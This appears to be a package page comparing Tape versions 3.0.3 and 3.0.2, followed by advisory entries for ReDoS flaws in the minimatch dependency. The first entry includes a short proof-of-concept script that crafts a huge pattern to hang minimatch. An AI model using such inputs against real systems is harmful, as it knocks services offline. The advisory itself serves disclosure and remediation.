Tape is a popular and lightweight JavaScript testing framework designed for Node.js and browsers, known for its simplicity and adherence to the TAP (Test Anything Protocol) output format. Comparing versions 3.0.3 and 3.0.2 reveals subtle but important updates. The core dependencies remain consistent, including modules like glob for file system matching, defined, resumer, through, inherits, deep-equal for deep object comparison, and object-inspect for detailed object inspection during debugging. Development dependencies like tap (used for running TAP format tests), falafel (AST modification), and concat-stream were also unchanged.
The primary difference lies in the release date, with version 3.0.3 released on November 11, 2014, slightly after version 3.0.2 which released November 5, 2014. While the lack of explicit changelog information makes pinpointing the exact changes difficult, the update likely contained bug fixes or minor performance improvements. For developers, Tape offers a straightforward way to write tests. Its TAP output ensures compatibility with various test reporters and tools. The consistent dependencies between these versions highlight the stability of the library. Upgrading from 3.0.2 to 3.0.3 is generally recommended to benefit from the latest improvements and ensure you're using the most refined version of this testing tool. Due to the small version increment, the upgrade is likely to be smooth with minimal integration.
All the vulnerabilities related to the version 3.0.3 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.